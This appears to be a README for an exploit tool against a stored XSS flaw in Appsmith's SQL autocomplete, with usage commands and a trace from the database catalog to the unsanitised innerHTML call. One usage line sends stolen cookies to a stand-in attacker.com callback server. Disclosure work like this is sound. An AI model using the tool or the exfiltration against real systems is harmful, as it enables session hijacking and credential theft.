
Automating the exploitation of CVE-2026-7299 - Stored XSS via Database Table/Column Names in SQL Autocomplete within Appsmith =>1.99. Initial discovery 30/03/26
Automated exploit for a stored cross-site scripting vulnerability in Appsmith's SQL query editor. A workspace Developer can inject arbitrary JavaScript via database table names that execute in any other workspace member's browser when SQL autocomplete triggers.
Confirmed on Appsmith v1.98 and likely affects all prior versions where the custom SQL hint renderer is present. The vulnerability exists in hintHelpers.ts:165 where CodeMirror's safe default hint rendering (textContent) is overridden with a custom render callback that uses innerHTML to display database table and column names without any sanitisation.
Basic alert PoC:
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1!
Cookie exfiltration to a callback server:
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1! \
--callback-url http://attacker.com:8888
Custom payload:
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1! \
--custom-payload ''
If no PostgreSQL datasource exists yet, the script auto-discovers connections or you can provide credentials:
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1! \
--db-host postgres --db-name testdb --db-user postgres --db-pass postgres

Appsmith is an open-source low-code platform where teams build internal tools by connecting datasources and writing queries. The SQL query editor provides autocomplete suggestions populated from the connected database's table and column metadata.
The autocomplete rendering in hintHelpers.ts uses a custom CodeMirror render callback:
completion.render = (LiElement, _data, { className, text }) => {
const { hintType, iconBgType, iconText } = getHintDetailsFromClassName(text, className);
LiElement.setAttribute("hinttype", hintType);
LiElement.setAttribute("icontext", iconText);
LiElement.classList.add("cm-sql-hint");
LiElement.classList.add(`cm-sql-hint-${iconBgType}`);
LiElement.innerHTML = text; // <-- unsanitized table/column name
};
CodeMirror 5's default hint rendering uses textContent (safe). Appsmith overrides this with innerHTML to add custom CSS classes and icon attributes for styling, but the actual text content (the table name) is assigned as raw HTML. No sanitisation exists at any point in the 8-step data flow from database catalog to DOM rendering.
The entire attack is performed through the Appsmith web UI.
The attacker (a workspace Developer) runs a CREATE TABLE statement with an XSS payload as the table name. Appsmith's PostgresPlugin performs zero DDL filtering, statement.execute(query) accepts any valid SQL including DDL.
CREATE TABLE "" (id serial primary key);
Any other workspace member opens the SQL query editor for the same datasource and starts typing a query. The autocomplete dropdown appears with table name suggestions fetched from the database metadata. The malicious table name is rendered via innerHTML, executing the JavaScript payload in the victim's browser session.
The XSS runs in the Appsmith application context with the victim's session. An attacker can steal session cookies (XSRF-TOKEN, SESSION), exfiltrate datasource credentials, or make API calls as the victim. If the victim is an Admin, the attacker escalates to full workspace control.
PostgreSQL pg_catalog (table_name, column_name)
-> PostgresPlugin.getStructure() [no sanitisation]
-> DatasourceStructure Java POJO [no sanitisation]
-> REST API /api/v1/datasources/{id}/structure [no sanitisation]
-> Redux state.entities.datasources [no sanitisation]
-> getAllDatasourceTableKeys selector [no sanitisation]
-> SqlHintHelper.setDatasourceTableKeys() [no sanitisation]
-> CodeMirror hint.sql() completions [no sanitisation]
-> LiElement.innerHTML = text [XSS]
No sanitsation present, rendering the payload to innerHTML firing within the DOM once called by the autocomplete renderer.
app/client/src/components/editorComponents/CodeEditor/hintHelpers.ts:165This tool is provided for authorised security testing and educational purposes only. Only use against systems you own or have explicit written permission to test. I do not take responsibility for any misuse or damage caused by this tool.
Happy hacking!